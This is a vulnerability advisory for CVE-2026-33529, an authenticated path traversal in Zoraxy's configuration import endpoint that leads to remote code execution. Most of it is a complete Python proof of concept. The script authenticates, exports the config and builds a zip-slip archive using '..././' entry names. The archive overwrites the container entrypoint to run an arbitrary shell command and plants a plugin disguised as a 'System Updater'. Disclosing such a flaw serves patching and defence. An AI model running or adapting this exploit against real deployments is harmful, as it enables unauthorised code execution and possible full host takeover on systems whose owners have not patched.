Zoraxy: Authenticated Path Traversal in Config Import leads to RCE in github.com/tobychui/zoraxy

Open Source Vulnerabilities CVE-2026-33529

Zoraxy is a general purpose HTTP reverse proxy and forwarding tool. Prior to version 3.3.2, an authenticated path traversal vulnerability in the configuration import endpoint allows an authenticated user to write arbitrary files outside the config directory, which can lead to RCE by creating a plugin. Version 3.3.2 patches the issue.

Open Source Vulnerabilities GHSA-7pq3-326h-f8q9

# Authenticated Path Traversal to RCE via Configuration Import ## Summary An authenticated path traversal vulnerability in the configuration import endpoint allows an authenticated user to write arbitrary files outside the config directory, which can lead to RCE by creating a plugin. ## Details The vulnerable endpoint is `POST /api/conf/import`. The zip entry names sanitization is bypassed by embedding `../` inside a longer sequence so the replacement produces a new `../`: ``` conf/..././..././entrypoint.py → ReplaceAll("../", "") (match found at index 1 of "..././", leaving "../") → conf/../../entrypoint.py ← passes HasPrefix check, escapes conf/ ``` Using this endpoint, a new plugin can be written (persistent) and the entrypoint (non-persistent) can be edited to add execution permissions to the plugin. When the database is provided in the import, the program should exit to trigger a container restart (which does not happen because the entrypoint does not monitor the Zoraxy exit code). As a result, the container was manually restarted for the PoC to work. ## PoC ```python import argparse import io import json import re import sys import zipfile import requests import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) INTRO_SPEC_JSON = json.dumps({ "id": "com.attacker.evil", "name": "System Updater", "author": "System", "author_contact": "", "description": "Internal system update module", "url": "", "ui_path": "/ui", "type": 1, "version_major": 1, "version_minor": 0, "version_patch": 0, "permitted_api_endpoints": [], }) LINUX_START_SH = """\ #!/bin/sh INTRO_SPEC='{intro_spec}' run_payload() {{ {payload_lines} }} case "$1" in -introspect) run_payload printf '%s\\n' "$INTRO_SPEC" exit 0 ;; -configure=*) run_payload while true; do sleep 3600; done ;; esac """ MALICIOUS_ENTRYPOINT_PY = """\ #!/usr/bin/env python3 import os, subprocess, signal, sys, time try: subprocess.run({cmd_list}, shell=False) except Exception: pass try: os.chmod("/opt/zoraxy/plugin/evil/start.sh", 0o755) except Exception: pass zoraxy_proc = None zerotier_proc = None def getenv(key, default=None): return os.environ.get(key, default) def run(command): try: subprocess.run(command, check=True) except subprocess.CalledProcessError as e: print(f"Command failed: {command} - {e}") sys.exit(1) def popen(command): proc = subprocess.Popen(command) time.sleep(1) if proc.poll() is not None: print(f"{command} exited early with code {proc.returncode}") raise RuntimeError(f"Failed to start {command}") return proc def cleanup(_signum, _frame): global zoraxy_proc, zerotier_proc if zoraxy_proc and zoraxy_proc.poll() is None: zoraxy_proc.terminate() if zerotier_proc and zerotier_proc.poll() is None: zerotier_proc.terminate() if zoraxy_proc: try: zoraxy_proc.wait(timeout=8) except subprocess.TimeoutExpired: zoraxy_proc.kill() zoraxy_proc.wait() if zerotier_proc: try: zerotier_proc.wait(timeout=8) except subprocess.TimeoutExpired: zerotier_proc.kill() zerotier_proc.wait() try: os.unlink("/var/lib/zerotier-one") except Exception: pass sys.exit(0) def start_zerotier(): global zerotier_proc config_dir = "/opt/zoraxy/config/zerotier/" zt_path = "/var/lib/zerotier-one" os.makedirs(config_dir, exist_ok=True) try: os.symlink(config_dir, zt_path, target_is_directory=True) except FileExistsError: pass zerotier_proc = popen(["zerotier-one"]) def start_zoraxy(): global zoraxy_proc zoraxy_args = [ "zoraxy", f"-autorenew={getenv('AUTORENEW', '86400')}", f"-cfgupgrade={getenv('CFGUPGRADE', 'true')}", f"-db={getenv('DB', 'auto')}", f"-docker={getenv('DOCKER', 'true')}", f"-earlyrenew={getenv('EARLYRENEW', '30')}", f"-enablelog={getenv('ENABLELOG', 'true')}", f"-fastgeoip={getenv('FASTGEOIP', 'false')}", f"-mdns={getenv('MDNS', 'true')}", f"-mdnsname={getenv('MDNSNAME', \"''\")}", f"-noauth={getenv('NOAUTH', 'false')}", f"-plugin={getenv('PLUGIN', '/opt/zoraxy/plugin/')}", f"-port=:{getenv('PORT', '8000')}", f"-sshlb={getenv('SSHLB', 'false')}", f"-version={getenv('VERSION', 'false')}", f"-webroot={getenv('WEBROOT', './www')}", ] zoraxy_proc = popen(zoraxy_args) def main(): signal.signal(signal.SIGTERM, cleanup) signal.signal(signal.SIGINT, cleanup) run(["update-ca-certificates"]) if getenv("UPDATE_GEOIP", "false").lower() == "true": run(["zoraxy", "-update_geoip=true"]) os.chdir("/opt/zoraxy/config/") if getenv("ZEROTIER", "false") == "true": start_zerotier() start_zoraxy() signal.pause() if __name__ == "__main__": main() """ def get_csrf(host: str, session: requests.Session) -> tuple: r = session.get(f"{host}/login.html", timeout=10, verify=False) m = re.search(r'<meta[^>]+name=["\']zoraxy\.csrf\.Token["\'][^>]+content=["\']([^"\']+)["\']', r.text) if not m: m = re.search(r'<meta[^>]+content=["\']([^"\']+)["\'][^>]+name=["\']zoraxy\.csrf\.Token["\']', r.text) token = m.group(1) if m else r.headers.get("X-CSRF-Token", "") return token, f"{host}/login.html" def authenticate(host: str, username: str, password: str, session: requests.Session) -> bool: csrf, referer = get_csrf(host, session) print(f" CSRF token -> {csrf!r}") r = session.post( f"{host}/api/auth/login", data={"username": username, "password": password}, headers={"X-CSRF-Token": csrf, "Referer": referer}, timeout=10, verify=False, ) print(f" Login -> HTTP {r.status_code} {r.text[:120]!r}") return r.status_code == 200 and r.text.strip().strip('"').lower() in ("ok", "true") def upload_zip(host: str, session: requests.Session, zip_bytes: bytes) -> tuple: csrf, referer = get_csrf(host, session) r = session.post( f"{host}/api/conf/import", files={"file": ("backup.zip", zip_bytes, "application/zip")}, headers={"X-CSRF-Token": csrf, "Referer": referer}, timeout=30, verify=False, ) return r.status_code, r.text def export_config(host: str, session: requests.Session) -> bytes | None: r = session.get( f"{host}/api/conf/export?includeDB=true", timeout=60, verify=False, ) if r.status_code == 200 and len(r.content) > 100: return r.content return None def build_zip(cmd: str, export_zip: bytes) -> bytes: traversal_ep = "conf/..././..././entrypoint.py" traversal_sh = "conf/..././..././plugin/evil/start.sh" payload_lines = "\n".join(f" {line}" for line in cmd.splitlines()) or " id > /tmp/pwned.txt" start_sh = LINUX_START_SH.format( intro_spec=INTRO_SPEC_JSON.replace("'", "'\\''"), payload_lines=payload_lines, ) malicious_ep = MALICIOUS_ENTRYPOINT_PY.replace("{cmd_list}", repr(["sh", "-c", cmd])) buf = io.BytesIO() with zipfile.ZipFile(io.BytesIO(export_zip), "r") as src: with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as zf: for item in src.infolist(): zf.writestr(item, src.read(item.filename)) zf.writestr(zipfile.ZipInfo(traversal_ep), malicious_ep.encode()) zf.writestr(zipfile.ZipInfo(traversal_sh), start_sh.encode()) buf.seek(0) return buf.read() def main() -> None: parser = argparse.ArgumentParser( description="Zoraxy Authenticated RCE via Entrypoint Overwrite + Plugin Zip-Slip", ) parser.add_argument("--host", help="Target, e.g. http://192.168.1.10:8000") parser.add_argument("--user", default="admin") parser.add_argument("--pass", dest="password", default=None) parser.add_argument("--cmd", default="id > /tmp/pwned.txt", help="Shell command to embed in the payload") args = parser.parse_args() if not args.host or not args.password: parser.error("--host and --pass are required") host = args.host.rstrip("/") print(f"\n[1] Authenticating as '{args.user}' at {host} ...") session = requests.Session() if not authenticate(host, args.user, args.password, session): print("[-] Authentication failed.") sys.exit(1) print("[+] Authenticated.") print(f"\n[2] Exporting live config ...") export_zip = export_config(host, session) if not export_zip: print("[-] Config export failed.") sys.exit(1) print("\n[3] Building malicious zip ...") zip_bytes = build_zip(args.cmd, export_zip) print(f"[+] Zip size: {len(zip_bytes):,} bytes") print(f"\n[4] Uploading via POST {host}/api/conf/import ...") code, body = upload_zip(host, session, zip_bytes) print(f" HTTP {code} {body[:200]!r}") if code != 200: print("[-] Upload failed.") sys.exit(1) print("[+] Files written") if __name__ == "__main__": main() ``` ## Impact Arbitrary file write leads to RCE by an authenticated user. Given that the Docker socket might be mapped, this issue can lead to full host takeover.

Open Source Vulnerabilities GO-2026-4844

Zoraxy: Authenticated Path Traversal in Config Import leads to RCE in github.com/tobychui/zoraxy